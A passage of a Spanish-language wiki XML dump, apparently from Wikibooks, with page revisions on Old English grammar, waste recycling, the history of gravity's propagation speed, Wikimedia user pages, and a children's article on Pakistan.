|tema1     =Sonidos
|tema2     =Corrupciones fonéticas
|tema3     =
|tema4     =
|tema5     =
|tema6     =
|tema7     =
|tema8     =
|tema9     =
|tema10    =
|tema11    =
|tema12    =
|tema13    =
|tema14    =
|tema15    =
|tema16    =
|tema17    =
|tema18    =
|tema19    =
|tema20    =
|tema21    =
|tema22    =
|tema23    =
|tema24    =
|tema25    =
|tema26    =
|tema27    =
|tema28    =
|tema29    =
|tema30    =
}}
&lt;noinclude&gt;{{Renglóndoble|[[Inglés/Pronunciación/Texto completo|'''Texto completo de este capítulo''']]|Esta página contiene todo el texto del capítulo de '''«Pronunciación»'''}}
{{Inglés}}
&lt;/noinclude&gt;</text>
      <sha1>ak1ikuhs0rdd9qe9ywn4y54xnloaqy3</sha1>
    </revision>
  </page>
  <page>
    <title>Tecnologías para el Desarrollo Rural/Qué Hacer con los Residuos</title>
    <ns>0</ns>
    <id>36143</id>
    <revision>
      <id>429788</id>
      <parentid>184258</parentid>
      <timestamp>2026-08-01T21:53:03Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429788</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="97" sha1="gnivos2leb7e3vqjvrjt8ap6yh002p4" xml:space="preserve">No todo lo que se tira es basura.
Las 4R: 
Reciclar:
Reutilizar:
Reducir:
Recuperar:

{{AutoCat}}</text>
      <sha1>gnivos2leb7e3vqjvrjt8ap6yh002p4</sha1>
    </revision>
  </page>
  <page>
    <title>Usuario:Revi C.</title>
    <ns>2</ns>
    <id>39185</id>
    <revision>
      <id>429946</id>
      <parentid>420365</parentid>
      <timestamp>2026-08-01T23:38:58Z</timestamp>
      <contributor>
        <username>Pathoschild</username>
        <id>9393</id>
      </contributor>
      <comment>global user pages ([[m:Synchbot|requested by Revi C.]])</comment>
      <origin>429946</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="728" sha1="8vb8h9wmon7mnues3i26edwt98lf6b9" xml:space="preserve">__NOINDEX__&lt;div class=&quot;mw-content-ltr&quot; lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;{{#babel:ko|en-3|es-0}} [[File:Revi wikimedia image.jpg|thumb|center|middle|If you are here to talk about CommonsDelinker removing a deleted image, please [[:c:User talk:Revi C.|go here]].]]
Hello! I am [[:m:User:Revi C.|revi]]. I edit to [[m:SWMT|revert vandals]], do Wikidata stuff&lt;!--(I am a Wikidata Admin! &lt;small&gt;([{{fullurl:wikidata:Special:ListUsers/Revi C.|limit=1}} Verify])&lt;/small&gt;)--&gt;, or do [[:c:COM:FR|Commons Filemoving stuff]] (I am Commons Admin too! &lt;small&gt;([{{fullurl:c:Special:ListUsers/Revi C.|limit=1}} Verify])&lt;/small&gt;). Come to [[:m:User:Revi C.|my Meta userpage]] or [[:c:User:Revi C.|my Commons userpage]] for more information. Thank you.&lt;/div&gt;</text>
      <sha1>8vb8h9wmon7mnues3i26edwt98lf6b9</sha1>
    </revision>
  </page>
  <page>
    <title>Usuario discusión:Revi C.</title>
    <ns>3</ns>
    <id>39186</id>
    <revision>
      <id>429941</id>
      <parentid>420364</parentid>
      <timestamp>2026-08-01T23:03:47Z</timestamp>
      <contributor>
        <username>Pathoschild</username>
        <id>9393</id>
      </contributor>
      <comment>global user pages ([[m:Synchbot|requested by Revi C.]])</comment>
      <origin>429941</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1120" sha1="esxe13mcstpjlux1bt2hqwxr2v8t8mn" xml:space="preserve">__NOINDEX__&lt;div class=&quot;mw-content-ltr&quot; lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[File:Revi logo (pink).png|thumb|center|&lt;span style=&quot;color:red&quot;&gt;PLEASE DO NOT LEAVE MESSAGE HERE!&lt;/span&gt;]]

''' &lt;span style=&quot;color:red&quot;&gt; BEFORE YOU BLOCK MY ACCOUNT: IF MY EDIT SUMMARY INCLUDE PREFIX &lt;/span&gt;''(Script)''&lt;span style=&quot;color:red&quot;&gt;, DON'T BLOCK ME, JUST TELL ME TO SLOW DOWN AT COMMONS' TALK PAGE. IT IS AN AUTOMATED SCRIPT BEING USED ON COMMONS TO MOVE FILES.&lt;/span&gt;

Instead, please leave your message following site:
&lt;br /&gt;
[[File:Wikidata-logo-en.svg|45px|link=d:User talk:Revi C.]] [[d:User talk:Revi C.]] for Wikidata (Interwiki links) stuff &lt;!--(I am {{int:Group-sysop}} there)--&gt;
&lt;br /&gt;
[[File:Commons-logo.svg|45px|link=commons:User talk:Revi C.]] [[commons:User talk:Revi C.]] for renaming stuff or [[User:CommonsDelinker|CommonsDelinker]] action (I am {{int:Group-sysop}} there)
&lt;br /&gt;
[[File:Wikimedia Community Logo optimized.svg|45px|link=m:User talk:Revi C.]] [[meta:User talk:Revi C.]] for other stuff (User right notification, revert message, etc...)

Messages left on this page may be reverted or moved without any response.&lt;/div&gt;</text>
      <sha1>esxe13mcstpjlux1bt2hqwxr2v8t8mn</sha1>
    </revision>
  </page>
  <page>
    <title>Usuario:Hym411</title>
    <ns>2</ns>
    <id>41733</id>
    <redirect title="Usuario:Revi C." />
    <revision>
      <id>429948</id>
      <parentid>420419</parentid>
      <timestamp>2026-08-02T00:16:41Z</timestamp>
      <contributor>
        <username>Pathoschild</username>
        <id>9393</id>
      </contributor>
      <comment>global user pages ([[m:Synchbot|requested by Hym411]])</comment>
      <origin>429948</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="26" sha1="88g0cv17whfgb1wkeh281mptujwtlut" xml:space="preserve">#REDIRECT [[User:Revi C.]]</text>
      <sha1>88g0cv17whfgb1wkeh281mptujwtlut</sha1>
    </revision>
  </page>
  <page>
    <title>Usuario discusión:Hym411</title>
    <ns>3</ns>
    <id>41734</id>
    <redirect title="Usuario discusión:Revi C." />
    <revision>
      <id>429949</id>
      <parentid>420420</parentid>
      <timestamp>2026-08-02T00:56:33Z</timestamp>
      <contributor>
        <username>Pathoschild</username>
        <id>9393</id>
      </contributor>
      <comment>global user pages ([[m:Synchbot|requested by Hym411]])</comment>
      <origin>429949</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="31" sha1="o9z79lcc9a9pfmqmrod5w3eyk4q9i0o" xml:space="preserve">#REDIRECT [[User talk:Revi C.]]</text>
      <sha1>o9z79lcc9a9pfmqmrod5w3eyk4q9i0o</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Inglés antiguo/Texto completo</title>
    <ns>0</ns>
    <id>56125</id>
    <revision>
      <id>429894</id>
      <parentid>424317</parentid>
      <timestamp>2026-08-01T22:09:07Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429894</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="5072" sha1="nnymh4gt8c3l2rz1uqz3f3dvbn5bb1h" xml:space="preserve">== Introducción ==
El '''Inglés antiguo''' fue el idioma de los ingleses a partir de aproximadamente 500 dC hasta 1100 dC. No es muy similar al inglés moderno; tiene una gramática mucho más complicada que el inglés moderno (y el español moderno).

== El alfabeto ==
El Inglés antiguo fue una idioma muy diferente al inglés moderno, pero el Inglés antiguo y moderno tienen muchas palabras similares (por ejemplo, &quot;he&quot; en inglés moderno y &quot;hē&quot; en Inglés antiguo (significan &quot;él&quot;).

El primer paso para aprender este idioma es el alfabeto. Este el el alfabeto del inglés antiguo.
* A - Como en el Español.
* Æ - El Español no tiene este sonido. Es entre &quot;A&quot; y &quot;E&quot;, como a en &quot;At&quot; en el Inglés moderno.
* B - Como la &quot;B&quot; en &quot;Bolivia&quot;, no cómo la &quot;V&quot;.
* C - A veces como la &quot;c&quot; en &quot;Cocina&quot;, pero a otras veces como la &quot;ch&quot; en &quot;Hecho&quot;. Se demuestra cuando es como &quot;Ch&quot; por medio de un punto sobre la letra (por ejemplo, &quot;ċild&quot; se dice como &quot;child&quot;).
* D - Como la &quot;D&quot; de &quot;Durante&quot; pero no como la &quot;D&quot; de &quot;Medio&quot;.
* E - Como en el Español.
* F - Si es al principio de una palabra, como &quot;F&quot; en el español; si es a la mitad de una palabra, similar a la &quot;B&quot; en &quot;Haber&quot;.
* G - Si es al principio de una palabra, como la &quot;G&quot; en &quot;Gusto&quot;; si es al final de la palabra sería como la &quot;G&quot; en &quot;Hago&quot; (excepto si está después de una &quot;N&quot;, como en &quot;Sing&quot;). A veces también se dice como la &quot;Y&quot; en &quot;Yo&quot;. Demostraré cuando es cómo y por medio de un punto sobre la letra, cómo c/ċ
* H - similar a &quot;j&quot; en el español
* I - similar a &quot;i&quot; en el español
* K - es muy escaso. Siempre como c en &quot;calor&quot;
* L - como l en el español, excepto cuando al fin de una sílaba, cuando es cómo &quot;ll&quot; en el español de españa
* M - como &quot;m&quot;
* N - como &quot;n&quot;, excepto cuando es ante &quot;g&quot;, &quot;c&quot; o &quot;k&quot;, cuando se dice más atrás en la boca
* O - como &quot;o&quot;
* P - como &quot;p&quot;
* Q - es muy escaso. Cómo &quot;cu&quot; en &quot;cuando&quot;
* R - como &quot;rr&quot;
* S - cuando al principio de una palabra, có

== El sustantivo ==
El inglés antiguo tiene tres géneros: el género masculino, el género femenino, y el género neutro; tiene también cuatro casos: el caso nominativo, el caso acusativo, el caso genetivo, y el caso dativo. Un caso es la manera gramatícal por que se demonstra un sustantivo o un pronombre (o un adjetivo) como se hace en una frase (&quot;me&quot; es el caso oblicuo de &quot;yo&quot; (el caso nominativo) en español; &quot;mi&quot; es el caso genetivo). El caso nominitive demonstra que la palabra que tiene lo es el sujeto de la frase, o que es un sujeto predicado (por examplar: &quot;'''yo''' estoy feliz&quot; y &quot;yo soy un '''hombre'''&quot; y &quot;yo estoy más feliz que '''tu'''&quot;); el caso acusativo demonstra que la palabra que tiene él es es un objeto de una frase (por examplar: &quot;odio '''lo'''&quot;); el caso genetive demonstra que la palabra que tiene él tiene posesión de algo o relación a algien (por examplar: &quot;lo es '''mi''' cosa&quot; y &quot;él es '''mi''' hermano&quot;); el caso dativo demonstra que la palabra que tiene él ha algo ''a'' le (por examplar: &quot;da '''me''' la comida, por favor&quot;). También hay uno caso instrumental en el inglés antiguo, pero no es muy común; él deomonstra que la palabra que tiene él es el instrumento por medio de que algo es hecho (por examplar: &quot;él mató lo '''por medio de una espada'''&quot;); normalmente es él igual a el caso dativo, exepto si es demonstrado de lo contrario.

La más gran parte de sustansivos en el inglés antiguo se flexiona por esta flexión, la declención &quot;fuerte&quot;:
{| class=&quot;wikitable&quot;
! colspan=&quot;3&quot; |here (del caso masculino) - ejército, horda
|-
|caso
|singular
|plural
|-
|nom. ac.
|here
|her-as
|-
|gen.
|her-es
|her-a
|-
|dat.
|her-e
|her-um
|}
{| class=&quot;wikitable&quot;
! colspan=&quot;3&quot; |þinȝ (del caso neutro) - cosa
|-
|caso
|singular
|plural
|-
|nom. ac.
|þinȝ
|þinȝ
|-
|gen.
|þinȝ-es
|þinȝ-a
|-
|dat.
|þinȝ-e
|þinȝ-um
|}
O ese:
{| class=&quot;wikitable&quot;
! colspan=&quot;3&quot; |scip (del caso neutro) - barco, baque, nave
|-
|caso
|singular
|plural
|-
|nom. ac.
|scip
|scip-u
|-
|gen.
|scip-es
|scip-a
|-
|dat.
|scip-e
|scip-um
|}
Nota que unas palabras tienen temas (la palabre &quot;tema&quot; allí significa &quot;la parte pincipal de una palabra&quot;) &quot;largas&quot;, y otras tienen temas &quot;cortas&quot;. Una tema larga tiene una vocal larga o dos consonantes a su fin (por examplar &quot;þinȝ&quot;), o una vocal larga ''y'' dos consonantes a su fin. Una tema corta tiene vocal corta y no más que '''una''' consonant a su fin (por examplar &quot;scip&quot;).

Palabras con temas cortas del genero neutro tienen &quot;-u&quot; por sufijo gramatícal del numero plural y del caso nominativo o acusativo, sino no palabras con temas largas.

Cuando temas de palabras tienen más que una sílaba, está posible quitar la vocal da sílaba final (si sea corta) y tratar la tema da la palabra como sea corta.

Esa es la declinacióc &quot;corta&quot; del genero feminino:
{| class=&quot;wikitable&quot;
! colspan=&quot;3&quot; |þystru (del caso femenino) - oscuridad, penumbra
|-
|caso
|singular
|plural
|-
|nom.
|þystr-u
|þystr-a
|-
|ac.
|þystr-e
|þystr-a
|-
|gen.
|þystr-e
|þystr-a, þystr-ena
|-
|dat.
|þystr-e
|þystr-um
|}</text>
      <sha1>nnymh4gt8c3l2rz1uqz3f3dvbn5bb1h</sha1>
    </revision>
    <revision>
      <id>429940</id>
      <parentid>429894</parentid>
      <timestamp>2026-08-01T22:13:49Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429940</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="5085" sha1="o4xesvagu05ko6ejnopva39j04tpvh0" xml:space="preserve">== Introducción ==
El '''Inglés antiguo''' fue el idioma de los ingleses a partir de aproximadamente 500 dC hasta 1100 dC. No es muy similar al inglés moderno; tiene una gramática mucho más complicada que el inglés moderno (y el español moderno).

== El alfabeto ==
El Inglés antiguo fue una idioma muy diferente al inglés moderno, pero el Inglés antiguo y moderno tienen muchas palabras similares (por ejemplo, &quot;he&quot; en inglés moderno y &quot;hē&quot; en Inglés antiguo (significan &quot;él&quot;).

El primer paso para aprender este idioma es el alfabeto. Este el el alfabeto del inglés antiguo.
* A - Como en el Español.
* Æ - El Español no tiene este sonido. Es entre &quot;A&quot; y &quot;E&quot;, como a en &quot;At&quot; en el Inglés moderno.
* B - Como la &quot;B&quot; en &quot;Bolivia&quot;, no cómo la &quot;V&quot;.
* C - A veces como la &quot;c&quot; en &quot;Cocina&quot;, pero a otras veces como la &quot;ch&quot; en &quot;Hecho&quot;. Se demuestra cuando es como &quot;Ch&quot; por medio de un punto sobre la letra (por ejemplo, &quot;ċild&quot; se dice como &quot;child&quot;).
* D - Como la &quot;D&quot; de &quot;Durante&quot; pero no como la &quot;D&quot; de &quot;Medio&quot;.
* E - Como en el Español.
* F - Si es al principio de una palabra, como &quot;F&quot; en el español; si es a la mitad de una palabra, similar a la &quot;B&quot; en &quot;Haber&quot;.
* G - Si es al principio de una palabra, como la &quot;G&quot; en &quot;Gusto&quot;; si es al final de la palabra sería como la &quot;G&quot; en &quot;Hago&quot; (excepto si está después de una &quot;N&quot;, como en &quot;Sing&quot;). A veces también se dice como la &quot;Y&quot; en &quot;Yo&quot;. Demostraré cuando es cómo y por medio de un punto sobre la letra, cómo c/ċ
* H - similar a &quot;j&quot; en el español
* I - similar a &quot;i&quot; en el español
* K - es muy escaso. Siempre como c en &quot;calor&quot;
* L - como l en el español, excepto cuando al fin de una sílaba, cuando es cómo &quot;ll&quot; en el español de españa
* M - como &quot;m&quot;
* N - como &quot;n&quot;, excepto cuando es ante &quot;g&quot;, &quot;c&quot; o &quot;k&quot;, cuando se dice más atrás en la boca
* O - como &quot;o&quot;
* P - como &quot;p&quot;
* Q - es muy escaso. Cómo &quot;cu&quot; en &quot;cuando&quot;
* R - como &quot;rr&quot;
* S - cuando al principio de una palabra, có

== El sustantivo ==
El inglés antiguo tiene tres géneros: el género masculino, el género femenino, y el género neutro; tiene también cuatro casos: el caso nominativo, el caso acusativo, el caso genetivo, y el caso dativo. Un caso es la manera gramatícal por que se demonstra un sustantivo o un pronombre (o un adjetivo) como se hace en una frase (&quot;me&quot; es el caso oblicuo de &quot;yo&quot; (el caso nominativo) en español; &quot;mi&quot; es el caso genetivo). El caso nominitive demonstra que la palabra que tiene lo es el sujeto de la frase, o que es un sujeto predicado (por examplar: &quot;'''yo''' estoy feliz&quot; y &quot;yo soy un '''hombre'''&quot; y &quot;yo estoy más feliz que '''tu'''&quot;); el caso acusativo demonstra que la palabra que tiene él es es un objeto de una frase (por examplar: &quot;odio '''lo'''&quot;); el caso genetive demonstra que la palabra que tiene él tiene posesión de algo o relación a algien (por examplar: &quot;lo es '''mi''' cosa&quot; y &quot;él es '''mi''' hermano&quot;); el caso dativo demonstra que la palabra que tiene él ha algo ''a'' le (por examplar: &quot;da '''me''' la comida, por favor&quot;). También hay uno caso instrumental en el inglés antiguo, pero no es muy común; él deomonstra que la palabra que tiene él es el instrumento por medio de que algo es hecho (por examplar: &quot;él mató lo '''por medio de una espada'''&quot;); normalmente es él igual a el caso dativo, exepto si es demonstrado de lo contrario.

La más gran parte de sustansivos en el inglés antiguo se flexiona por esta flexión, la declención &quot;fuerte&quot;:
{| class=&quot;wikitable&quot;
! colspan=&quot;3&quot; |here (del caso masculino) - ejército, horda
|-
|caso
|singular
|plural
|-
|nom. ac.
|here
|her-as
|-
|gen.
|her-es
|her-a
|-
|dat.
|her-e
|her-um
|}
{| class=&quot;wikitable&quot;
! colspan=&quot;3&quot; |þinȝ (del caso neutro) - cosa
|-
|caso
|singular
|plural
|-
|nom. ac.
|þinȝ
|þinȝ
|-
|gen.
|þinȝ-es
|þinȝ-a
|-
|dat.
|þinȝ-e
|þinȝ-um
|}
O ese:
{| class=&quot;wikitable&quot;
! colspan=&quot;3&quot; |scip (del caso neutro) - barco, baque, nave
|-
|caso
|singular
|plural
|-
|nom. ac.
|scip
|scip-u
|-
|gen.
|scip-es
|scip-a
|-
|dat.
|scip-e
|scip-um
|}
Nota que unas palabras tienen temas (la palabre &quot;tema&quot; allí significa &quot;la parte pincipal de una palabra&quot;) &quot;largas&quot;, y otras tienen temas &quot;cortas&quot;. Una tema larga tiene una vocal larga o dos consonantes a su fin (por examplar &quot;þinȝ&quot;), o una vocal larga ''y'' dos consonantes a su fin. Una tema corta tiene vocal corta y no más que '''una''' consonant a su fin (por examplar &quot;scip&quot;).

Palabras con temas cortas del genero neutro tienen &quot;-u&quot; por sufijo gramatícal del numero plural y del caso nominativo o acusativo, sino no palabras con temas largas.

Cuando temas de palabras tienen más que una sílaba, está posible quitar la vocal da sílaba final (si sea corta) y tratar la tema da la palabra como sea corta.

Esa es la declinacióc &quot;corta&quot; del genero feminino:
{| class=&quot;wikitable&quot;
! colspan=&quot;3&quot; |þystru (del caso femenino) - oscuridad, penumbra
|-
|caso
|singular
|plural
|-
|nom.
|þystr-u
|þystr-a
|-
|ac.
|þystr-e
|þystr-a
|-
|gen.
|þystr-e
|þystr-a, þystr-ena
|-
|dat.
|þystr-e
|þystr-um
|}

{{AutoCat}}</text>
      <sha1>o4xesvagu05ko6ejnopva39j04tpvh0</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Página de edición</title>
    <ns>0</ns>
    <id>60478</id>
    <revision>
      <id>430082</id>
      <parentid>398475</parentid>
      <timestamp>2026-08-02T11:06:08Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>eliminación de plantilla portada</comment>
      <origin>430082</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="352" sha1="0s4zkfxywuchifbxhm2f0201q9cimr5" xml:space="preserve">;En esta página se coordina la edición de este libro.

''Para dejar mensajes acerca de la organización de este libro por favor hazlo en la [[Discusión:Patología de la edificación/Página de edición|página de discusión]] de esta página.''
== Todas las páginas del libro == 
{{Libro++}}
&lt;noinclude&gt;{{Patología de la edificación}}&lt;/noinclude&gt;</text>
      <sha1>0s4zkfxywuchifbxhm2f0201q9cimr5</sha1>
    </revision>
  </page>
  <page>
    <title>Física/Astronomía/Objetos en movimiento en potenciales gravitacionales retardados de una capa esférica en expansión</title>
    <ns>0</ns>
    <id>62504</id>
    <revision>
      <id>429950</id>
      <parentid>417424</parentid>
      <timestamp>2026-08-02T09:10:19Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429950</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="433" sha1="5o7yw3gm8d3wyqfqfdx17xx1serle6x" xml:space="preserve">[[File:Moving.star.in.dark.shell.png|right|400px]]


==Contenido==
# [[/Prefacio/]]
# [[/Breve reseña histórica/]]
# [[/Enfoque clásico/]]
# [[/Potenciales gravitacionales retardados/]]
# [[/Desplazamiento al rojo gravitacional/]]
# [[/Conclusión/]] 
==Apéndice==
# [[/Tabla con resultados calculados/]]
# [[/Programa Java/]]

__NOTOC__ __NOEDITSECTION__
{{status|5%}}

[[Category:Astronomía]]
[[Category:Física]]

{{AutoCat}}</text>
      <sha1>5o7yw3gm8d3wyqfqfdx17xx1serle6x</sha1>
    </revision>
  </page>
  <page>
    <title>Física/Astronomía/Objetos en movimiento en potenciales gravitacionales retardados de una capa esférica en expansión/Breve reseña histórica</title>
    <ns>0</ns>
    <id>62506</id>
    <revision>
      <id>429951</id>
      <parentid>417468</parentid>
      <timestamp>2026-08-02T09:11:23Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429951</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="7179" sha1="s2emnhl65jqdjpu7z3w1jnext4fsj8i" xml:space="preserve">{{En desarrollo}}
&lt;noinclude&gt;
{{Navegar índice|libro=Física/Astronomía
|actual=Objetos en movimiento en potenciales gravitacionales retardados de una capa esférica en expansión/Breve reseña histórica
|anterior=Objetos en movimiento en potenciales gravitacionales retardados de una capa esférica en expansión/Prefacio
|siguiente=Objetos en movimiento en potenciales gravitacionales retardados de una capa esférica en expansión/Enfoque clásico
}}
&lt;/noinclude&gt;
==Breve reseña histórica==
La finitud de la velocidad de propagación de la gravedad y su influencia en las fuerzas gravitatorias fue publicada originalmente por el astrónomo austriaco '''Josef von Hepperger''' (1855-1928) en 1888 en Viena.&lt;ref&gt;{{Cite book |last=Hepperger |first=Josef von |url=https://books.google.de/books?id=TT3PAAAAMAAJ&amp;hl=de&amp;pg=PP1#v=onepage&amp;q&amp;f=false |title=Uber die fortpflanzungsgeschwindigkeit der gravitation |date=1888 |publisher=K.K. Hof.-und staatsdruckerei |language=de}}&lt;/ref&gt;
El físico alemán '''Paul Gerber''' (1854-1909) publicó en 1898 su trabajo sobre «La expansión espacial y temporal de la gravedad», donde estableció que la precesión del perihelio del planeta Mercurio está relacionada con la velocidad de propagación de la gravedad, que es bastante próxima a la de la radiación electromagnética. &lt;ref&gt;{{Cite journal |last=Gerber |first=Paul |editor-last=Mehmke |editor-first=R. |editor2-last=Cantor |editor2-first=M. |title=Die räumliche und zeitliche Ausbreitung der Gravitation |trans-title=The spatial and temporal expansion of gravity|url=https://de.wikisource.org/wiki/Die_räumliche_und_zeitliche_Ausbreitung_der_Gravitation |journal=Zeitschrift für Mathematik und Physik |language=de |location=Leipzig |volume=43 |pages=93–104 |via=Verlag B. G. Teubner |date=1898}}&lt;/ref&gt;
Su fórmula para la precesión del perihelio del planeta Mercurio no era conocida por '''Albert Einstein''' (1879-1955), pero seis años después de la muerte de Paul Gerber, Einstein encontró una fórmula idéntica en su publicación «Erklärung der Perihelbewegung des Merkur aus der allgemeinen Relativitätstheorie» (inglés: «Explicación del movimiento del perihelio de Mercurio a partir de la teoría general de la relatividad&quot;) aplicando las leyes de la Relatividad General.&lt;ref&gt;{{Cite journal |last=Einstein |first=Albert |title=Erklärung der Perihelbewegung des Merkur aus der Allgemeinen Relativitätstheorie |trans-title=Explanation of Mercury's perihelion motion from the general theory of relativity |journal=Sitzungsberichte der Preußischen Akademie der Wissenschaften |publication-date=1915 |pages=831–839}}&lt;/ref&gt; Sin embargo, los científicos contemporáneos no pudieron reproducir la derivación de Paul Gerber para la fórmula y, además, afirmaron que algunos de los requisitos previos utilizados por él eran erróneos.
Poco antes de su temprana muerte, el astrónomo y físico alemán '''Karl Schwarzschild''' (1873-1916) publicó un artículo titulado «Über das Gravitationsfeld einer Kugel aus inkompressibler Flüssigkeit nach der Einsteinschen Theorie» (Sobre el campo gravitatorio de una esfera de fluido incompresible según la teoría de Einstein), donde describía cómo calcular el radio más pequeño posible para una esfera con una masa dada. El radio de una esfera con la masa del Sol es de tres kilómetros.&lt;ref&gt;{{Cite book |last=Schwarzschild |first=Karl |editor=Deutsche Akademie der Wissenschaften zu Berlin |url=http://archive.org/details/sitzungsberichte1916deutsch |title=Sitzungsberichte der Königlich Preussischen Akademie der Wissenschaften zu Berlin |pages=424–434|date=1882 |publisher=Berlin : Deutsche Akademie der Wissenschaften zu Berlin |others=Smithsonian Libraries}}&lt;/ref&gt; En reconocimiento a su logro, el radio correspondiente se denomina ahora '''radio de Schwarzschild'''. Es interesante observar que Schwarzschild también hizo importantes contribuciones a los '''potenciales retardados''' en electrodinámica ya en 1903. Según el potencial electrocinético afirmó :&lt;ref&gt;{{Cite journal |last=Schwarzschild |first=Karl |date=1903 |title=Zwei Formen des Prinzips der kleinsten Action in der Elektronentheorie |trans-title=Two forms of the principle of least action in electron theory |journal=Nachrichten von der Königlichen Gesellschaft der Wissenschaften zu Göttingen, Mathematisch-Physikalische Klasse |location=Göttingen |publisher=Commissionsverlag der Dieterich'schen Universitätsbuchhandlung, Lüder Horstmann |issue=3 |pages=127–128}}&lt;/ref&gt;
&lt;blockquote&gt;
Es sind in jedem Raumelement die Werte der Dichte und der Geschwindigkeit zu benutzen,&lt;br/&gt;
welche dort zu einer um die Lichtzeit zurückliegenden Epoche galten.
&lt;/blockquote&gt;

&lt;blockquote&gt;
En cada elemento espacial se utilizarán los valores de densidad y velocidad &lt;br/&gt;
que eran válidos allí en una época cercana al tiempo luz.
&lt;/blockquote&gt;

El teólogo y físico belga George Lemaître SJ (1894-1966) es considerado el fundador de la teoría del Big Bang. En 1931 introdujo el término «atome primitif» (en español: «átomo primordial») para describir el estado inicial caliente del universo. Ya en 1927 escribió como segunda conclusión de su publicación sobre «un universo homogéneo de masa constante y radio creciente, que explica la velocidad radial de las nebulosas extragalácticas» en referencia a las investigaciones de Edwin Hubble (1889-1953) en 1926 &lt;ref&gt;{{Cite journal |last=Hubble |first=Edwin |year=1926 |title=Extra-galactic nebulae |journal=Astrophysical Journal |publisher=Contributions from the Mount Wilson Observatory |publication-place=Mount Wilson, California, USA |volume=64 |issue=I |pages=321–369}}&lt;/ref&gt;&lt;ref&gt;{{Cite journal |last=Lemaître |first=Georges |date=1927 |title=Un univers homogéne de masse constante et de rayon croissant, rendant compte de la vitesse radiale des nébuleuses extra-galactiques |journal=Annales de la société scientifique de Bruxelles |volume=47 A |pages=49–59}}&lt;/ref&gt;&lt;ref&gt;{{Cite journal |last=Lemaître |first=Georges |date=1931 |title=Expansion of the universe, A homogeneous universe of constant mass and increasing radius accounting for the radial velocity of extra-galactic nebulae | journal= Monthly Notices of the Royal Astronomical Society| volume= 91 |pages= 483–490}}&lt;/ref&gt;
&lt;blockquote&gt;
Le rayon de l'univers croit sans cesse depuis une valeur asymptotique &lt;math&gt;R_0&lt;/math&gt; pour &lt;math&gt;t = - \infty&lt;/math&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
El radio del universo aumenta sin límite a partir de un valor asintótico &lt;math&gt;R_0&lt;/math&gt; para &lt;math&gt;t = - \infty&lt;/math&gt;
&lt;/blockquote&gt;
En 1933, el astrónomo suizo '''Fritz Zwicky''' (1898-1974) observó una anomalía gravitatoria en el cúmulo de galaxias Coma, y acuñó el término '''materia oscura''' (en alemán: «dunkle Materie») para referirse a la causa de esta anomalía. &lt;ref&gt;{{Cita web |author=Fritz Zwicky |title=Die Rotverschiebung von extragalaktischen Nebeln |trans-title=The red shift of extragalactic neubulae |url=https://articles.adsabs.harvard.edu//full/1933AcHPh...6..110Z/0000110.000.html |date=1933 |access-date=2024-06-11 |website=articles.adsabs.harvard.edu}}&lt;/ref&gt;

{{AutoCat}}</text>
      <sha1>s2emnhl65jqdjpu7z3w1jnext4fsj8i</sha1>
    </revision>
  </page>
  <page>
    <title>Wikichicos/Asia/Pakistan</title>
    <ns>0</ns>
    <id>63920</id>
    <revision>
      <id>429947</id>
      <parentid>425386</parentid>
      <timestamp>2026-08-02T00:13:01Z</timestamp>
      <contributor>
        <username>Shiana1</username>
        <id>127641</id>
      </contributor>
      <minor />
      <comment>/* Historia */</comment>
      <origin>429947</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="6739" sha1="sseh7ik41574d51p0o0snw51vtl015c" xml:space="preserve">[[Archivo:Flag of Pakistan.svg|miniaturadeimagen|200x200px|Bandera]]
[[Archivo:PAK orthographic.svg|miniaturadeimagen|200x200px|Situación]]
'''Pakistán''' (oficialmente la '''República Islámica de Pakistán''') es un país del '''sur de Asia''', conocido por su gran diversidad geográfica, su rica cultura y su historia compleja. Linda al oeste con [[Wikichicos/Asia/Afghanistan|Afganistán]], al noreste con [[Wikichicos/Asia/China|China]], al este con la [[Wikichicos/Asia/India|India]], al suroeste con [[Wikichicos/Asia/Irán|Irán]] y al sur con el océano Índico. Su principal río es el Indo, que fluye por el Punyab hasta desembocar en el mar Arábigo.

=== Datos básicos ===

* '''Capital:''' Islamabad
* '''Ciudad más grande:''' Karachi
* '''Población:''' más de 240 millones
* '''Idioma oficial:''' inglés
* '''Idioma nacional:''' urdu
* [[Archivo:Pakistani rupee pre-1971.jpg|miniaturadeimagen|200x200px|Rupia pakistaní ]]'''Moneda:''' rupia pakistaní (PKR)

=== Geografía ===
[[Archivo:Pakistan geography es.svg|miniaturadeimagen|208x208px|Mapa de la geografía de Pakistán]]
Pakistán tiene paisajes muy variados:

* '''Montañas:''' incluye la cordillera del Karakórum, donde se encuentra el K2
* '''Llanuras:''' formadas por el río Indo
* '''Desiertos:''' como el desierto de Thar
